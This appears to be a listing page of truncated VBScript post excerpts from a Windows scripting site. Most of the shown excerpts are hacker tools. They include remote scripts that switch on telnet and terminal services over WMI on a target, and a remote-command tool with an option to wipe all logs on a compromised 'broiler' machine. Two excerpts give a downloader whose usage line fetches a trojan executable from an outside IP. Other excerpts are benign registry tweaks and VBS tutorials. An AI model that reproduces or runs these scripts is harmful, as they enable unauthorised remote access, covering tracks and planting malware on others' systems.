Category：VBS
-
Time：2021-7-31
******************************************************************************** RTCS v1.10 Remote Telnet Configure Script, by zzzEVAzzz Welcome to visite www.isgrey.com Usage: cscript c:\scriptpath\RTCS.vbe targetIP username password NTLMAuthor telnetport It will auto change state of target telnet server. ******************************************************************************** Description: Windows Script to remotely turn on / off the target telnet service. Features: independent of whether the target IPC $is open or not. Principle: directly access the windows management specification service (WMI) of the target. This service is an important service of the system and is […]
-
Time：2021-7-30
Copy codeThe code is as follows: if (lcase(right(wscript.fullname,11))=”wscript.exe”) then set objshell=wscript.createobject(“wscript.shell”) objshell.run(“cmd.exe /k cscript //nologo “&chr(34)&wscript.scriptfullname&chr(34)) wscript.quit end if with wscript.arguments if .count>0 then ipaddress=”.” outfile=”” username=”” password=”” viewtype=0 program=0 for arg=0 to .count-1 select case left(lcase(.item(arg)),2) case “/h”,”/?”,”\h”,”\?” usage() wscript.quit case “/r”,”\r” if arg+3<=.count-1 then ipaddress=.item(arg+1) username=.item(arg+2) password=.item(arg+3) else wscript.echo “Arguments Error!”&vbcrlf usage() wscript.quit end if case “/v”,”\v” viewtype=1 case “/o”,”\o” outfile=.item(arg+1) case “/a”,”\a” program=1 end select next end if end with on error resume next if outfile<>”” then set fs=createobject(“scripting.filesystemobject”) showerr() set of=fs.opentextfile(outfile,8,true) showerr() end if wscript.echo “Getting Infomation….”&vbcrlf set objlocator=createobject(“wbemscripting.swbemlocator”) showerr() set objswb=objlocator.connectserver(ipaddress,”root/cimv2″,username,password) […]
-
Time：2021-7-29
******************************************************************************* RCMD v1.03 Remote execution Script, by Black hey, blackWelcome to visite www.xyhack.91i.net QQ:123230273 E-mail:[email protected] Usage: cscript D:\vbs\rcmd.vbs targetIP username password Then chose the command> ******************************************************************************* Conneting 127.0.0.1….OK! Now chose the command> 0.quit Exit script1.telnet Remote on / off telnettwo point three three eight nine Remote switch 33893.clog Remotely delete all logs4.getf Get broiler system information5.pslist Example process6.pskill Delete process7.command […]
-
Time：2021-7-28
******************************************************************************* ROTS v1.05 Remote Open Terminal services Script, by zzzEVAzzz Welcome to visite www.isgrey.com Usage: cscript c:\scriptpath\ROTS.vbs targetIP username password [port] [/r|/fr] port: default number is 3389. /r: auto reboot target. /fr: auto force reboot target. ******************************************************************************* Description: Windows Script for remotely starting terminal services.Features: independent of whether the target IPC $is open or not.Principle: directly access the windows management specification service (WMI) of the target.Support platform: win2kpro win2kserver winxp win.netusage method:In the command line mode, use the script […]
-
Time：2021-7-27
Save it as jiesuo.vbs and run it Copy codeThe code is as follows: dim wsh set wsh=Wscript.CreateObject(“Wscript.Shell”) Wsh.popup (“unlocking registry for you”)wsh.regwrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,0,”REG_DWORD” wsh.sendkeys “^{ESC}{U}{ESC}” Wsh.popup (“registry unlocked successfully”)
-
Time：2021-7-26
Copy codeThe code is as follows: HKEY_CURRENT_USER = &H80000001 strComputer = “.” Set objReg = GetObject(“winmgmts:\\” & strComputer & “\root\default:StdRegProv”) strKeyPath = “Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced” ValueName = “TaskBarSizeMove” dwValue = 0 objReg.SetDWORDValue HKEY_CURRENT_USER, strKeyPath, ValueName, dwValue It turns out that the taskbar can be locked or unlocked by switching a value in the registry; More specifically, by switching registry values Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\TaskBarSizeMove。 Set the value to 0 To lock the taskbar; Set it to one […]
-
Time：2021-7-25
We often hear that VBS is very powerful and simple. Do you also want to understand VBS? Now let’s learn VBS together. VBS is just an English abbreviation. Its full name is visual basic script edition, that is, VBS is the script edition of Visual Basic. Many people say VBS is a subset of VB. […]
-
Time：2021-7-24
In the last article, we learned some basic knowledge of VBS programming. We should learn more about selection structure and loop structure. Select structure Select a structure, that is, judge the conditions, and then select a structure to execute different branches according to the judgment results. Common are if conditional statements and select Case […]
-
Time：2021-7-23
(greenIt’s the title,blueIt’s the original author,gulesThe part that needs to be modified is the part that needs to be modified according to your own actual situation.) ======Open the flash menu and connect the VBS of the virtual disk at the same time======Set WshShell = WScript.CreateObject(“WScript.Shell”)Return = WshShell.Run (“c: New call to.exe“,0,true)Return = WshShell.Run (“iscsicli AddTargetPortal […]
-
Time：2021-7-22
Record some classic VBS scripts 1. File download (no echo) echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe echo Set xPost = createObject(“Microsoft.XMLHTTP”) >>iget.vbe echo xPost.Open “GET”,iRemote,0 >>iget.vbe echo xPost.Send() >>iget.vbe echo Set sGet = createObject(“ADODB.Stream”) >>iget.vbe echo sGet.Mode = 3 >>iget.vbe echo sGet.Type = 1 >>iget.vbe echo sGet.Open() >>iget.vbe echo sGet.Write(xPost.responseBody) >>iget.vbe echo sGet.SaveToFile iLocal,2 >>iget.vbe Usage: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe 2. List the process @echo for each ps in getobject _ >ps.vbs @echo (“winmgmts:\\.\root\cimv2:win32_process”).instances_ >>ps.vbs @echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs Usage: cscript ps.vbs 3. Terminate the process @echo for each ps in getobject _ >pskill.vbs @echo (“winmgmts:\\.\root\cimv2:win32_process”).instances_ >>pskill.vbs @echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs Usage: cscript pskill.vbs […]
-
Time：2021-7-21
About a year ago, vbs script virus started a boom again, a large group of VBS viruses were prevalent on the Internet. At that time, almost all VBS viruses used FSO and MAPI as a virus infection engine, so I thought, can VBS access the network? If it can also connect ports, it’s amazing. Since […]
-
Time：2021-7-20
1. File download (no echo) echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe echo Set xPost = CreateObject(“Microsoft.XMLHTTP”) >>iget.vbe echo xPost.Open “GET”,iRemote,0 >>iget.vbe echo xPost.Send() >>iget.vbe echo Set sGet = CreateObject(“ADODB.Stream”) >>iget.vbe echo sGet.Mode = 3 >>iget.vbe echo sGet.Type = 1 >>iget.vbe echo sGet.Open() >>iget.vbe echo sGet.Write(xPost.responseBody) >>iget.vbe echo sGet.SaveToFile iLocal,2 >>iget.vbe Usage: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe 2. List the process @echo for each ps in getobject _ >ps.vbs @echo (“winmgmts:\\.\root\cimv2:win32_process”).instances_ >>ps.vbs @echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs Usage: cscript ps.vbs 3. Terminate the process @echo for each ps in getobject _ >pskill.vbs @echo (“winmgmts:\\.\root\cimv2:win32_process”).instances_ >>pskill.vbs @echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs Usage: cscript pskill.vbs pid 4. Restart the […]
